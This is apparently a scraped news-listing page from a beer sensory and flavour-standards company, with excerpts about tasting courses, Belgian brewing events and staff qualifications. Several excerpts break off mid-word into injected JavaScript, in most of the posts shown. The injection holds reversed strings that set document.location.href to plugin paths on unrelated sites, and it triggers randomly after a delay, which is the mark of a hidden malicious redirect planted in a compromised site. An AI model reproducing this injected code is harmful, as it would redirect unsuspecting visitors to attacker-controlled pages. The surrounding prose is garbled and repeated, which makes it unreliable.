A holistic approach to sensory

iStock_000051574102_Medium






A serious problem that people experience when first delving into sensory is one of self-realization. Beverage industries – primarily the wine doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and whisky industries – have established a mystique around sensory,… Read more

Cara hosts 5 day Practical Beer Taster Training Course at Cicerone® in Chicago

Dr Bill Simpson teaching the class in Chicago






On the 12th Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var… Read more

Belgian Brewing Conference – Chair J. De Clerck XV

DSC00299






After the Belgian Beer Weekend the Cara Technology team attended the Belgian Brewing Conference in Leuven, Belgium. The week long conference was hosted at the KU Leuven campus in the city. The Belgian Brewing Conference – Chair J. De Clerck was… Read more

Belgian Beer Weekend

DSC00123






On the 3 of September, the AROXA™ team attended the Belgian Beer Weekend in Brussels. 2015 marked the 17th year the weekend has been run by the Belgian brewers association. The Belgian Brewers are one of the oldest professional associations… Read more

James Worthington achieves distinction in Consumer Studies and Market Research (PG Cert Sensory Science)






James Worthington has achieved distinction in his Consumer Studies and Market Research module in his PG Cert on Sensory Science. This is the fifth module that James has passed throughout the course before his completion in 2016. We are sure… Read more

James Worthington achieves distinction in Sensory Evaluation and Sensory Techniques (PG Cert Sensory Science)






James Worthington has achieved distinction in his Sensory Evaluation and Sensory Techniques module in his PG Cert in Sensory Science. The course is based out of the University of Nottingham, however this particular module was run by Campden BRI. We… Read more

Amy Voong achieves distinction in Sensory Evaluation and Sensory Techniques (PG Cert Sensory Science)






We are pleased toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var… Read more

Amy Voong achieves distinction in Food Flavour Chemistry (PG Cert Sensory Science)






We are pleased toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var… Read more

James Worthington achieves distinction in Food Flavour Chemistry (PG Cert Sensory Science)






We are pleased to announce that James Worthington from our flavours team has achieved distinction in his Food Flavour Chemistry module of his ongoing PG Cert in Sensory Science at the University of Nottingham. This ongoing knowledge doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() *… Read more

European Trademarks awarded to Cara Technology

excellence_in_professional_tasting






Cara Technology has secured European Community Trade Mark Registrations for use of its AROXA™ brdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and name. The company will launch the AROXA™ range of flavour stdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5); if (number1==3){var… Read more